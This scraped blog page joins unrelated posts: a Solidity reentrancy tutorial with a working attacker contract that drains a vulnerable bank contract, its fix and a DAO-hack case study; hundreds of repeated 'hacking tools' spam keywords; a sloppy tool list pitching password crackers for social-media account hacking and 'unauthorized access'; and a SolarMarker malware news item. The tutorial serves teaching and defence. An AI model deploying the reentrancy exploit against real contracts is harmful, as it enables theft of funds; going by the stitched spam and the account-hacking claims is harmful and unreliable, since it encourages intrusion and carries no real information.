Saturday, January 20, 2024

Smart Contract Hacking Chapter 4 – Attacking Reentrancy Vulnerabilities

 

Reentrancy Intro

In this chapter we will take a look at bypassing incorrectly coded value transaction patterns within Ethereum smart contracts. These incorrectly coded patterns can lead to Reentrancy attacks that ultimately allow an attacker to liquidate the contract of all of its funds without much effort. The incorrect order of operations allows an attacker to avoid require statements which check if a user's balance is high enough to send a transaction. We can use this to bypass incorrect logic patterns and drain a contract of its funds.

Reentrancy attacks allow an attacker to create a loop between a target contract and a malicious attacker owned contract. Instead of a normal user making a request, the request comes from the attacker's contract which does not let the target contracts execution complete until the evil tasks intended by the attacker are complete. Usually this task will be draining the funds out of the contract bit by bit until all of the contracts funds are transferred to the attacker's contract. 

 

Checks Effects Interactions Pattern

The checks effects interactions pattern is a secure coding pattern within Solidity on Ethereum which prevents an attacker from re-entering a contract over and over. It does this by ensuring that balances are updated correctly before sending a transaction. It does this by:

ü  Checking that the requirements are met before continuing execution.

ü  Updating balances and making changes before interacting with an external actor

ü  Finally, after the transaction is validated and the changes are made interactions are allowed with the external entity

The incorrectly coded pattern that usually creates a vulnerable smart contract is the common sense approach that first checks if a user's balance is large enough for the transaction, then sends the funds to the user. Once the transaction goes through, without error, the amount is subtracted from the user's balance.

The problem is that if a hacker's contract calls the target smart contract rather than a valid user calling the contract, the hacker's contract can run code in a loop.  The hacker can call the same function in the target contract again without ever reaching the code that subtracts from the user's balance. This means that the initial balance check that passed the first time will pass again and again and again because it is at the same balance that passed the first time. You see where this is going right? The transaction will continue until the balance for the whole contract is empty, rather than just the users balance.  Let's take a look at a simple example in order to understand how this works.

 

Simple Reentrancy Example Code

The following is a simple example of a banking smart contract with the ability to deposit, withdraw and check your current balance.

Action Items:

ü  Review the code and discover where the coding pattern violation is located before reading further or watching the video.

Questions to ask yourself:

ü  Is the coding pattern we spoke about above correct?

ü  If not, where do the issues reside? and what about this code flow creates a vulnerable transaction state?

1.  pragma solidity ^0.6.6;
2.   
3.  contract simpleReentrancy {
4.    mapping (address => uint) private balances;
5.      
6.    function deposit() public payable  {
7.     require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
8.                           balances[msg.sender] += msg.value;
9.    }
10. 
11. function withdraw(uint withdrawAmount) public returns (uint) {
12.  require(withdrawAmount <= balances[msg.sender]);
13.                         msg.sender.call.value(withdrawAmount)("");
14.    
15.   balances[msg.sender] -= withdrawAmount;
16.   return balances[msg.sender];
17. }
18.    
19. function getBalance() public view returns (uint){
20.   return balances[msg.sender];
21. }
22.}

 

Simple Reentrancy Target Analysis Video:





There are three functions in the above contract, but the one we need to pay special attention to is the one that interacts with outside users. The withdraw function sends funds to the address of the user who called the withdraw function. This would be classified as an interaction and needs to follow our secure pattern.

The line breakdown of the withdraw function is as follows:

ü  Line 12: Checks that you are only withdrawing the amount you have in your account or sends back an error.

ü  Line 13: Sends your requested amount to the address the requested a withdrawal.

ü  Line 15: Deducts the amount withdrawn from the accounts total balance.

ü  Line 16. Simply returns your current balance.

Based on the above breakdown this function is following a:  

Checks à Interaction à Effects

which violates the

Checks à Effects à Interactions 

Because we interact with an external entity prior to updating the effects, the target contract is at risk for a call by a malicious contract that executes a loop with a malicious purpose.

Passing the Checks:

Essentially what will happen is that the attacker will use his own malicious contract to call the withdraw function after adding a small value to his account. When the withdraw function is called the attackers contract will attempt to withdraw a smaller amount then the attacker has in his account which will pass the Checks portion of the pattern on line 12.

Looping the Interaction:

Next the target contract will attempt to interact with the attacker's contract by sending the valid withdrawn value from the contract. However, the attacker will have a fallback function that receives the sent value and calls the withdraw function again.

The second time calling the target contract will result in the exact same checks and interaction without ever updating the balance via the Effects portion. Over and Over and Over again.

Updating the Effects:

The Effects portion will only be updated after the attacker's loop ends and the damage is done. Which means that the attacker has withdrawn funds many times over, but only subtracted that value a single time. Potentially draining all of the funds of the contract.

 

Attacking Code Example:

If we take a look at the following attacker's contract, we will see how the attacker creates this loop and we can analyze the order of operations that makes this possible.

1.    interface targetInterface{
2.      function deposit() external payable; 
3.      function withdraw(uint withdrawAmount) external; 
4.    }
5.   
6.    contract simpleReentrancyAttack{
7.      targetInterface bankAddress = targetInterface(TARGET_ADDRESS_HERE); 
8.      uint amount = 1 ether; 
9.   
10.  function deposit() public payable{
11.    bankAddress.deposit.value(amount)();
12.  }
13.    
14.  function attack() public payable{
15.    bankAddress.withdraw(amount); 
16.  }
17.  
18.  function retrieveStolenFunds() public {
19.    msg.sender.transfer(address(this).balance);
20.  }
21.  
22.  fallback () external payable{ 
23.    if (address(bankAddress).balance >= amount){
24.         bankAddress.withdraw(amount);
25.    }   
26.  }
27.}

 

The attacking code above is used by the attacker to siphon funds from a vulnerable contract. The main attack code in this contract is found on lines 22-24. This code creates a looping condition into the other contract by using a fallback function.

What is a fallback function?

A fallback function is a default function in a contract that is called when no other function is specified. So, in this instance when the contract receives funds and no other directions from the withdraw function, then the fallback function will execute on line 22. The fallback function will check that the target contract still contains a balance larger then what we are requesting which is defined on line 8 as "1 Ether".

If this check passes then our contract calls back into the withdraw function again at line 24. Which starts the whole process over and over again until the balance of the target contract is less than 1 ether.  Let's take a look at a graphical representation of this to help understand what's going on.



The picture above shows the target contract and the attackers contract side by side. The attack function calls into the withdraw function initially. Then the fallback function is entered from the withdrawal transaction and returns right back to the beginning of the withdraw function from the fallback functions call back into the contract.  This forms the loop between withdraw and fallback until the contract is below 1 ether.

That explains the main attack portion of the contract. The other parts of this attacking contract are just helping setup for the attack for example the interface code at line 1 simply creates an interface into the target contract via its function definitions.  This interface is then set to the address of the target contract on line 7. With this interface you can now call the functions directly with the bankAddress interface using the function name as seen in the deposit function and attack function to call deposit and withdraw.

There is one other function we didn't mention which has nothing to do with the attack but helps us claim our funds after the contract is sent the ether from the attack. This function is on line 18 named retrieveStolenFunds. It simply takes the balance of "this" contract and transfers it to our personal address.

 

Hands on Lab - Attacking a Simple Reentrancy

Let's try attacking the banking contract to see Reentrancy in action.  Type out the code above for the target contract and understand what each piece of the contract does.  Then type out the attacker's contract and try to piece together what each part of the attack does and what the sequence of execution will be.

Note: It's important that you type out this code and do not copy paste as it will help you in spotting issues in the future and your understanding of how things work.

Action Steps:

ü  With account 1 deploy the target simpleReentrancy contract

ü  Deposit 20 Ether into the account by adjusting the Value field and selecting Ether

ü  Copy paste the address of the target contract and enter it into the target Interface variable in the attackers contract

ü  Deploy the attacker's contract simpleReentrancyAttack contract

ü  Deposit 2 ether into your account using the attackers contract deposit function

ü  Then execute the attack function with the attack button

ü  Why did it pause?

ü  When attack completes execution note your second accounts balance and click retrieveStolenFunds

ü  Note your new balance

 

After running the attack, you should have noticed that your balance was updated by roughly 22 ether give or take fees. This would be the balance of the target contract initially and your own balance returned. You would have also noticed a pause when you clicked attack. This is because you are waiting for the contracts loop to complete its execution. It was calling the contract over and over again until 22 times.


Exploiting Reentrancy on the Target Smart Contract: 

Smart Contract Hacking 0x09 Exploiting Reentrancy.mp4 from Console Cowboys on Vimeo.


Hands on Lab - Fixing the Checks Effects interaction Pattern

Reentrancy is a relatively easy vulnerability to fix, yet also a very easy mistake to make. It's easy to make a mistake because the vulnerable logic makes sense in real world logic.  The vulnerable code should function correctly, if it were not interacting with a malicious contract. However, we do not expect an attacker's contract to be the receiver of the withdraw, thus throwing a wrench in real world logic.  This is why we need to re-code this to function correctly using a secure pattern when dealing with DApps and web3.0.

Now let's correct the coding pattern by switching the order of operations to first decrease the accounts balance and then complete then initiate the withdraw transaction. The following image shows both the vulnerable and fixed code, where the original code is the on top and the fixed code is below:

 


Action Steps:

ü  Implement these changes in your contract.

ü  Redeploy both contracts making sure to update the address of the target contract in the attacker's contract

ü  Try this attack again, following the steps from above and observe how the results vary

 

With this simple change, our contracts balance is not decreased with each call to the withdraw function only the attackers balance is reduced until the attacker runs out of funds. If the attacker were to keep calling this function, the require check at the beginning of the function would fail as soon as the attacker ran out of funds. However, due to the usage of Call.Value and the lack of error handling, the funds may be incorrectly handled in the contract and error checking must be manually implemented. This is what we will look at next in regards to low level vs high level transfer functions.  

 

Send vs Transfer Vs Call.Value

Another relevant topic is that of the ways to transfer funds within Solidity. The "call" which was used in the withdraw function is a low-level function which can lead to issues and is largely replaced by the usage of Send or Transfer.  Let's break these out and explain them:

Call.value()()

ü  Returns false on failure

ü  Forwards available gas

ü  Low level function

Call.Value is dangerous because it forwards all of the available gas allowing for a reentrancy attack. It also does not return an error message and requires you to parse out the return Boolean value and perform an action based on this check. For example, if you were to make changes in the effects prior to the call.value, you may need to manually revert these changes as part of your error checking actions.

 

Send()

ü  Returns false on failure

ü  Forwards a gas value of 2300

ü  Low level function

The send function limits the gas value to 2300 which helps prevent a reentrancy as there is a limit to how much the function can actually do before it fails. However, this is also a low-level function and you must be mindful of the lack of errors when this does fail exactly like the Call.value.  

 

Transfer()

ü  Actually, throws an error on failure

ü  Forwards a gas value of 2300

ü  High level function

 

The transfer function provides a gas limit like the Send function but additionally provides an error and will revert changes made to the user's balance.

All of these functions are available for sending value out of the contract, however, only use low level functions with caution, and make sure to do error checking and make decisions on those errors. This will prevent hidden bugs in your code from error conditions. Also make sure to properly follow the checks, effects, interactions pattern in your code.

 

Case Study – The Dao Hack

The DAO attack was the most famous blockchain attack ever performed. The DAO was a venture capital fund which pooled investors Ether for funding projects much like a crowdfunding application. The project initially raised 12.7 million Ether which at the time was equal to about 150 million dollars.

This Smart Contract contained a SplitDao function meant for removing funds into a child DAO when a user didn't like a majority decision of how to use funds. However, a Reentrancy vulnerability within the split function was found that ultimately allowed the attacker to remove 3.6 million Ether from the contract. This was a lot of money, but the bigger issue was the decision made by the Ethereum community to roll back the transaction, and give the users their funds back. As this violates the immutability of the blockchain. This should never happen again, but due to the immaturity of the network at the time, they felt it was needed.

This is the only time the Ethereum network violated the immutability of the blockchain and rolled back transactions on the Ethereum blockchain.  The decision created a major idealistic split in the Ethereum community resulting in a hard fork of the network. Because of this split we now Ethereum classic and Ethereum. The network hard forked into two separate chains. One that contains the loss of funds on Ethereum Classic and one chain that does not contain the rollback, which is what we know as Ethereum.

Below we can see a snipped version of the original SplitDAO function which contained the issue:

1.    function splitDAO(
2.       uint _proposalID,
3.       address _newCurator
4.       noEther onlyTokenholders returns (bool _success)) {
5.   
6.       //Snipped lines for Readability
7.       Transfer(msg.sender, 0, balances[msg.sender]);
8.       withdrawRewardFor(msg.sender); 
9.    
10.    totalSupply -= balances[msg.sender]; 
11.    balances[msg.sender] = 0;
12.    paidOut[msg.sender] = 0;
13.    return true;
14.}

 

If you take a look at lines 7-11 you will see a violation of our Checks à Effects à Interactions pattern.

On line 7-8 the contract is making withdrawal calls. However, following these withdrawals, the balances are updated on lines 10-11. If the attacker were to call back into the splitDao function when the interaction happened on line 8 then the attacker is able to drain the contract of millions of dollars. The balances are never updated until the attackers code is finished with its functionality.

 

Reentrancy Summary

In this chapter we took a look at secure coding patterns and high vs low level functions. We then interacted with vulnerable smart contracts that violated these secure coding principals. We exploited and fixed these issues ourselves in order to show how simple mistakes lead to huge losses in the case of attacks such as the famous DAO attack.

 

Reentrancy References

https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

https://medium.com/@ogucluturk/the-dao-hack-explained-unfortunate-take-off-of-smart-contracts-2bd8c8db3562Continue reading
  1. Pentest Tools Port Scanner
  2. Pentest Tools Online
  3. Best Hacking Tools 2020
  4. What Are Hacking Tools
  5. Hacker Security Tools
  6. Hack Tools Online
  7. Hack Tools 2019
  8. Best Hacking Tools 2020
  9. Computer Hacker
  10. Pentest Tools List
  11. Hacker Search Tools
  12. Pentest Tools Linux
  13. Hacker Tools For Mac
  14. Tools Used For Hacking
  15. Easy Hack Tools
  16. How To Make Hacking Tools
  17. Beginner Hacker Tools
  18. Hackrf Tools
  19. Ethical Hacker Tools
  20. Pentest Tools Port Scanner
  21. Hacking Tools For Kali Linux
  22. Pentest Tools Android
  23. Hacker Tools List
  24. Hacker Tools For Mac
  25. Pentest Tools Github
  26. Hacking Tools And Software
  27. Kik Hack Tools
  28. Hack And Tools
  29. Best Pentesting Tools 2018
  30. Beginner Hacker Tools
  31. Github Hacking Tools
  32. Usb Pentest Tools
  33. Hack Tools For Pc
  34. Pentest Tools Review
  35. Pentest Recon Tools
  36. Hacking Tools For Mac
  37. Hackers Toolbox
  38. Hack And Tools
  39. Hack Tools
  40. Hack Tools Github
  41. Pentest Tools Website
  42. Pentest Tools Tcp Port Scanner
  43. Pentest Tools Nmap
  44. Hacking Tools Windows
  45. Nsa Hacker Tools
  46. Pentest Tools Online
  47. Hackers Toolbox
  48. Hacks And Tools
  49. Hacker Tools 2020
  50. Ethical Hacker Tools
  51. Hack And Tools
  52. Physical Pentest Tools
  53. Pentest Tools Subdomain
  54. Hacking App
  55. Hacking Tools 2019
  56. Pentest Tools Bluekeep
  57. Hackrf Tools
  58. Hack App
  59. Install Pentest Tools Ubuntu
  60. Hack Apps
  61. Hack Tools For Pc

Friday, January 19, 2024

Hackerhubb.blogspot.com

Hackerhubb.blogspot.comContinue reading
  1. Pentest Tools Android
  2. Usb Pentest Tools
  3. Pentest Automation Tools
  4. New Hack Tools
  5. Pentest Tools Port Scanner
  6. Hacker Hardware Tools
  7. Hacking Tools Download
  8. Hacking Tools And Software
  9. Blackhat Hacker Tools
  10. Hacking Tools And Software
  11. Hacker Tools For Windows
  12. Pentest Tools Framework
  13. Hacker Tools Free
  14. Beginner Hacker Tools
  15. Tools For Hacker
  16. Ethical Hacker Tools
  17. Best Pentesting Tools 2018
  18. Hacker Tools Software
  19. Hacker Hardware Tools
  20. Hacking Tools Download
  21. Hacking Tools Github
  22. Pentest Box Tools Download
  23. Hack Tools Pc
  24. Hacker Tools Linux
  25. Hacker Security Tools
  26. How To Make Hacking Tools
  27. Pentest Tools Framework
  28. Hacker
  29. Hacking Tools Windows 10
  30. Hacker Tools For Windows
  31. Hacks And Tools
  32. Pentest Tools Alternative
  33. Hacking Apps
  34. Hacking Tools Pc
  35. Hacking App
  36. Hackrf Tools
  37. Hackrf Tools
  38. How To Install Pentest Tools In Ubuntu
  39. Hacking Tools And Software
  40. Hack Tools For Mac
  41. Hacking Tools Free Download
  42. Pentest Tools Android
  43. Kik Hack Tools
  44. Pentest Tools Kali Linux
  45. Pentest Tools Apk
  46. Easy Hack Tools
  47. Hacking Tools Name
  48. Hacking Tools For Beginners
  49. Pentest Tools Bluekeep
  50. Physical Pentest Tools
  51. Github Hacking Tools
  52. Hack Tools Mac
  53. Hack Website Online Tool
  54. Hacker Security Tools
  55. Best Hacking Tools 2019
  56. Hack Tools For Pc
  57. Best Hacking Tools 2019
  58. Hacking Tools For Kali Linux
  59. Hacker Techniques Tools And Incident Handling
  60. Hacker Tools
  61. Pentest Tools Find Subdomains
  62. Hacks And Tools
  63. Hack Tools 2019
  64. Nsa Hacker Tools
  65. Growth Hacker Tools
  66. Hacker Tools Software
  67. Hacking App
  68. Pentest Tools For Windows
  69. Hack Tools For Mac
  70. Pentest Tools Apk
  71. Nsa Hack Tools
  72. Pentest Tools
  73. Pentest Tools For Mac
  74. New Hacker Tools
  75. Nsa Hacker Tools
  76. Pentest Tools Port Scanner
  77. Hack Tool Apk No Root
  78. Hacking Tools For Games
  79. New Hacker Tools
  80. Computer Hacker
  81. Hacker Security Tools
  82. Pentest Tools For Windows
  83. Hacking Tools Name
  84. Hacking Tools For Windows
  85. Hacker Tools Free Download
  86. Pentest Tools Framework
  87. Hacking Tools For Windows Free Download
  88. Hacker Tools For Ios
  89. Wifi Hacker Tools For Windows
  90. Hacker Tools Hardware
  91. Ethical Hacker Tools
  92. Hak5 Tools
  93. Pentest Tools Apk
  94. Hacking Tools Windows
  95. Hacking Tools Hardware
  96. Hacker Tools Windows
  97. Hacker Tools For Mac
  98. Hacker Tools For Ios
  99. Hack Tools For Windows
  100. Hack App
  101. Pentest Tools Apk
  102. Hacker Tool Kit
  103. Android Hack Tools Github
  104. Hacker Tools For Mac
  105. Nsa Hack Tools Download
  106. Best Pentesting Tools 2018
  107. Hack App
  108. Hacking Tools For Beginners
  109. What Are Hacking Tools
  110. Hacking Tools Name
  111. Hacking Tools Software
  112. Beginner Hacker Tools
  113. Hacker Tools Apk
  114. Pentest Tools Tcp Port Scanner
  115. Hacker Tools Apk Download
  116. Hack Tools Online
  117. Hacking Tools Name
  118. Pentest Tools Url Fuzzer
  119. Hacking Tools And Software
  120. Pentest Tools Github
  121. Beginner Hacker Tools
  122. Hacker Tool Kit
  123. Pentest Tools Free
  124. Hack Tool Apk
  125. Hack Tools Pc
  126. Pentest Tools Website Vulnerability
  127. Pentest Tools Website
  128. Hack Apps
  129. Pentest Tools Url Fuzzer
  130. Hacking Tools For Beginners
  131. Hacker Tools Free
  132. Pentest Tools Alternative
  133. Hacking Tools And Software
  134. Hacker Tools Apk
  135. Pentest Tools Free
  136. Pentest Recon Tools
  137. Hacking Tools For Windows Free Download
  138. Android Hack Tools Github
  139. Pentest Tools Online
  140. Pentest Tools Windows
  141. Pentest Tools Subdomain
  142. Hack App
  143. Hack Website Online Tool
  144. Hacking Tools Name
  145. Hacking Tools For Games
  146. Hacking Tools Free Download
  147. Hack Tools
  148. Pentest Tools Android
  149. Pentest Tools Website
  150. Hacker Tools 2020
  151. Hacker Tools 2020
  152. Tools 4 Hack
  153. Hack Tools For Ubuntu
  154. Tools For Hacker
  155. Beginner Hacker Tools
  156. Hack Website Online Tool
  157. Blackhat Hacker Tools
  158. Hacking Tools 2020
  159. Tools Used For Hacking
  160. Usb Pentest Tools
  161. Hacking Tools For Windows
  162. Hacker Tools Free
  163. Pentest Tools For Mac
  164. Hacking Tools Pc
  165. Pentest Tools For Android
  166. Hacking Tools And Software

Best Hacking Tools

      MOST USEFUL HACKING TOOL

1-Nmap-Network Mapper is popular and free open source hacker's tool.It is mainly used for discovery and security auditing.It is used for network inventory,inspect open ports manage service upgrade, as well as to inspect host or service uptime.Its advantages is that the admin user can monitor whether the network and associated nodes require patching.

2-Haschat-It is the self-proclaimed world's fastest password recovery tool. It is designed to break even the most complex password. It is now released as free software for Linux, OS X, and windows.


3-Metasploit-It is an extremely famous hacking framework or pentesting. It is the collection of hacking tools used to execute different tasks. It is a computer severity  framework which gives the necessary information about security vulnerabilities. It is widely used by cyber security experts and ethical hackers also.

4-Acutenix Web Vulnerability Scanner- It crawls your website and monitor your web application and detect dangerous SQL injections.This is used for protecting your business from hackers.


5-Aircrack-ng - This tool is categorized among WiFi hacking tool. It is recommended for beginners  who are new to Wireless Specefic Program. This tool is very effective when used rightly.


6-Wireshark-It is a network analyzer which permit the the tester to captyre packets transffering through the network and to monitor it. If you would like to become a penetration tester or cyber security expert it is necessary to learn how to use wireshark. It examine networks and teoubleshoot for obstacle and intrusion.


7-Putty-Is it very beneficial tool for a hacker but it is not a hacking tool. It serves as a client for Ssh and Telnet, which can help to connect computer remotely. It is also used to carry SSH tunneling to byepass firewalls. So, this is also one of the best hacking tools for hackers.


8-THC Hydra- It is one of the best password cracker tools and it consist of operative and highly experienced development team. It is the fast and stable Network Login Hacking Tools that will use dictonary or bruteforce attack to try various combination of passwords against in a login page.This Tool is also very useful for facebook hacking , instagram hacking and other social media platform as well as computer folder password hacking.


9-Nessus-It is a proprietary vulnerability scanner developed by tennable Network Security. Nessus is the world's most popular vulnerability scanner according to the surveys taking first place in 2000,2003,2006 in security tools survey.


10-Ettercap- It is a network sniffing tool. Network sniffing is a computer tool that monitors,analyse and defend malicious attacks with packet sniffing  enterprise can keep track of network flow. 


11-John the Ripper-It is a free famous password cracking pen testing tool that is used to execute dictionary attacks. It is initially developed for Unix OS. The Ripper has been awarded for having a good name.This tools can also be used to carry out different modifications to dictionary attacks.


12-Burp Suite- It is a network vulnerability scanner,with some advance features.It is important tool if you are working on cyber security.


13-Owasp Zed Attack Proxy Project-ZAP and is abbreviated as Zed  Attack Proxy is among popular OWASP project.It is use to find vulnerabilities in Web Applications.This hacking and penetesting tool is very easy to use  as well as very efficient.OWASP community is superb resource for those people that work with Cyber Security.


14-Cain & Abel-It is a password recovery tool for Microsoft Operating System. It allow easy recovery of various kinds of passwords by sniffing the networks using dictonary attacks.


15-Maltego- It is a platform that was designed to deliver an overall cyber threat pictures to the enterprise or local environment in which an organisation operates. It is used for open source intelligence and forensics developed by Paterva.It is an interactive data mining tool.

These are the Best Hacking Tools and Application Which are very useful for penetration testing to gain unauthorized access for steal crucial data, wi-fi hacking , Website hacking ,Vulnerability Scanning and finding loopholes,Computer hacking, Malware Scanning etc.

This post is only for educational purpose to know about top hacking tools which are very crucial for a hacker to gain unauthorized access. We are not responsible for any type of crime.





Related articles
  1. Hacking Tools For Games
  2. Hacking Apps
  3. Hacker Tools For Mac
  4. Pentest Tools Windows
  5. Hackrf Tools
  6. Pentest Tools Url Fuzzer
  7. Pentest Tools For Windows
  8. Hacking Apps
  9. Hacks And Tools
  10. Github Hacking Tools
  11. Hack Rom Tools
  12. Hack Tools For Games
  13. Hack Tool Apk No Root
  14. New Hacker Tools
  15. Hacking Tools Windows 10
  16. Hacking Apps
  17. Hacker Tools For Pc
  18. Hacking Tools Windows 10
  19. Pentest Tools Kali Linux
  20. Hacker Tools List
  21. Pentest Tools Kali Linux
  22. Termux Hacking Tools 2019
  23. Pentest Tools Website
  24. Pentest Tools For Ubuntu
  25. Computer Hacker
  26. Hak5 Tools
  27. Hacking Tools Windows
  28. Hack Tools Online
  29. Hacker Tools Github
  30. Tools Used For Hacking
  31. Blackhat Hacker Tools
  32. Easy Hack Tools
  33. Android Hack Tools Github
  34. Hacker Tools
  35. Pentest Reporting Tools
  36. Hacker Tools List
  37. Nsa Hack Tools
  38. Pentest Tools Windows
  39. Hack Tools For Windows
  40. Hackrf Tools
  41. Hacking Tools Windows
  42. Pentest Tools Open Source
  43. Hacker Techniques Tools And Incident Handling
  44. Tools For Hacker
  45. Underground Hacker Sites
  46. Hacker Tools Apk
  47. Pentest Tools For Android
  48. Hacker Tools
  49. Hacking Tools Mac
  50. Pentest Reporting Tools
  51. Hack Tools For Windows
  52. Hacker Security Tools
  53. Hack Tools For Games
  54. New Hacker Tools
  55. Pentest Automation Tools
  56. Hacking Tools Kit
  57. Best Hacking Tools 2019
  58. Kik Hack Tools
  59. Nsa Hack Tools Download
  60. Pentest Box Tools Download

SolarMarker Malware Uses Novel Techniques To Persist On Hacked Systems

 In a sign that threat actors continuously shift tactics and update their defensive measures, the operators of the SolarMarker information stealer and backdoor have been found leveraging stealthy Windows Registry tricks to establish long-term persistence on compromised systems.

Cybersecurity firm Sophos, which spotted the new behavior, said that the remote access implants are still being detected on targeted networks despite the campaign witnessing a decline in November 2021.

Boasting of information harvesting and backdoor capabilities, the .NET-based malware has been linked to at least three different attack waves in 2021. The first set, reported in April, took advantage of search engine poisoning techniques to trick business professionals into visiting sketchy Google sites that installed SolarMarker on the victim's machines.

Then in August, the malware was observed targeting healthcare and education sectors with the goal of gathering credentials and sensitive information. Subsequent infection chains documented by Morphisec in September 2021 highlighted the use of MSI installers to ensure the delivery of the malware.

The SolarMarker modus operandi commences with redirecting victims to decoy sites that drop the MSI installer payloads, which, while executing seemingly legitimate install programs such as Adobe Acrobat Pro DC, Wondershare PDFelement, or Nitro Pro, also launches a PowerShell script to deploy the malware.


"These SEO efforts, which leveraged a combination of Google Groups discussions and deceptive web pages and PDF documents hosted on compromised (usually WordPress) websites, were so effective that the SolarMarker lures were usually at or near the top of search results for phrases the SolarMarker actors targeted," Sophos researchers Gabor Szappanos and Sean Gallagher said in a report shared with The Hacker News.

The PowerShell installer is designed to alter the Windows Registry and drop a .LNK file into Windows' startup directory to establish persistence. This unauthorized change results in the malware getting loaded from an encrypted payload hidden amongst what the researchers called a "smokescreen" of 100 to 300 junk files created specifically for this purpose.

"Normally, one would expect this linked file to be an executable or script file," the researchers detailed. "But for these SolarMarker campaigns the linked file is one of the random junk files, and cannot be executed itself."

What's more, the unique and random file extension used for the linked junk file is utilized to create a custom file type key, which is ultimately employed to execute the malware during system startup by running a PowerShell command from the Registry.

The backdoor, for its part, is ever-evolving, featuring an array of functionalities that allow it to steal information from web browsers, facilitate cryptocurrency theft, and execute arbitrary commands and binaries, the results of which are exfiltrated back to a remote server.

"Another important takeaway […], which was also seen in the ProxyLogon vulnerabilities targeting Exchange servers, is that defenders should always check whether attackers have left something behind in the network that they can return to later," Gallagher said. "For ProxyLogon this was web shells, for SolarMarker this is a stealthy and persistent backdoor that according to Sophos telematics is still active months after the campaign ended."

Related news